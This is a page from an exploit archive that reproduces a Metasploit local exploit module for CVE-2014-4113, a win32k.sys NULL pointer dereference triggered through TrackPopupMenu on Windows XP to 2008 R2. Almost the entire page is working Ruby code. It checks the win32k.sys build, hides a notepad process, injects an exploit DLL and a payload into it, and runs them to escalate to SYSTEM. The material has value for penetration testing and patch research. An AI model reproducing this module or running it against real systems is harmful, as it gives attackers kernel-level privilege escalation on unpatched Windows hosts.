Home / exploits

PDF

Windows TrackPopupMenu Win32k NULL Pointer Dereference

Posted on 28 October 2014

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/post/windows/reflective_dll_injection'
require 'rex'

class Metasploit3 < Msf::Exploit::Local
 Rank = NormalRanking

 include Msf::Post::File
 include Msf::Post::Windows::Priv
 include Msf::Post::Windows::Process
 include Msf::Post::Windows::FileInfo
 include Msf::Post::Windows::ReflectiveDLLInjection

 def initialize(info={})
 super(update_info(info, {
 'Name' => 'Windows TrackPopupMenu Win32k NULL Pointer Dereference',
 'Description' => %q{
 This module exploits a NULL Pointer Dereference in win32k.sys, the vulnerability
 can be triggered through the use of TrackPopupMenu. Under special conditions, the
 NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary
 code execution. This module has been tested successfully on Windows XP SP3, Windows
 2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1 and Windows
 2008 R2 SP1 64 bits.
 },
 'License' => MSF_LICENSE,
 'Author' =>
 [
 'Unknown', # vulnerability discovery and exploit in the wild
 'juan vazquez', # msf module (x86 target)
 'Spencer McIntyre' # msf module (x64 target)
 ],
 'Arch' => [ ARCH_X86, ARCH_X86_64 ],
 'Platform' => 'win',
 'SessionTypes' => [ 'meterpreter' ],
 'DefaultOptions' =>
 {
 'EXITFUNC' => 'thread',
 },
 'Targets' =>
 [
 # Tested on (32 bits):
 # * Windows XP SP3
 # * Windows 2003 SP2
 # * Windows 7 SP1
 # * Windows 2008
 [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
 # Tested on (64 bits):
 # * Windows 7 SP1
 # * Windows 2008 R2 SP1
 [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
 ],
 'Payload' =>
 {
 'Space' => 4096,
 'DisableNops' => true
 },
 'References' =>
 [
 ['CVE', '2014-4113'],
 ['OSVDB', '113167'],
 ['BID', '70364'],
 ['MSB', 'MS14-058'],
 ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/']
 ],
 'DisclosureDate' => 'Oct 14 2014',
 'DefaultTarget' => 0
 }))
 end

 def check
 os = sysinfo["OS"]

 if os !~ /windows/i
 return Exploit::CheckCode::Unknown
 end

 if sysinfo["Architecture"] =~ /(wow|x)64/i
 arch = ARCH_X86_64
 elsif sysinfo["Architecture"] =~ /x86/i
 arch = ARCH_X86
 end

 file_path = expand_path("%windir%") << "\system32\win32k.sys"
 major, minor, build, revision, branch = file_version(file_path)
 vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")

 # Neither target suports Windows 8 or 8.1
 return Exploit::CheckCode::Safe if build == 9200
 return Exploit::CheckCode::Safe if build == 9600

 if arch == ARCH_X86
 return Exploit::CheckCode::Detected if [2600, 3790, 7600, 7601].include?(build)
 else
 return Exploit::CheckCode::Detected if build == 7601
 end

 return Exploit::CheckCode::Unknown
 end

 def exploit
 if is_system?
 fail_with(Exploit::Failure::None, 'Session is already elevated')
 end

 if check == Exploit::CheckCode::Safe
 fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.")
 end

 if sysinfo["Architecture"] =~ /wow64/i
 fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
 elsif sysinfo["Architecture"] =~ /x64/ && target.arch.first == ARCH_X86
 fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
 elsif sysinfo["Architecture"] =~ /x86/ && target.arch.first == ARCH_X86_64
 fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
 end

 print_status('Launching notepad to host the exploit...')
 notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true})
 begin
 process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
 print_good("Process #{process.pid} launched.")
 rescue Rex::Post::Meterpreter::RequestError
 # Reader Sandbox won't allow to create a new process:
 # stdapi_sys_process_execute: Operation failed: Access is denied.
 print_status('Operation failed. Trying to elevate the current process...')
 process = client.sys.process.open
 end

 print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
 if target.arch.first == ARCH_X86
 dll_file_name = 'cve-2014-4113.x86.dll'
 else
 dll_file_name = 'cve-2014-4113.x64.dll'
 end

 library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-4113', dll_file_name)
 library_path = ::File.expand_path(library_path)

 print_status("Injecting exploit into #{process.pid}...")
 exploit_mem, offset = inject_dll_into_process(process, library_path)

 print_status("Exploit injected. Injecting payload into #{process.pid}...")
 payload_mem = inject_into_process(process, payload.encoded)

 # invoke the exploit, passing in the address of the payload that
 # we want invoked on successful exploitation.
 print_status('Payload injected. Executing exploit...')
 process.thread.create(exploit_mem + offset, payload_mem)

 print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
 end

end

 

TOP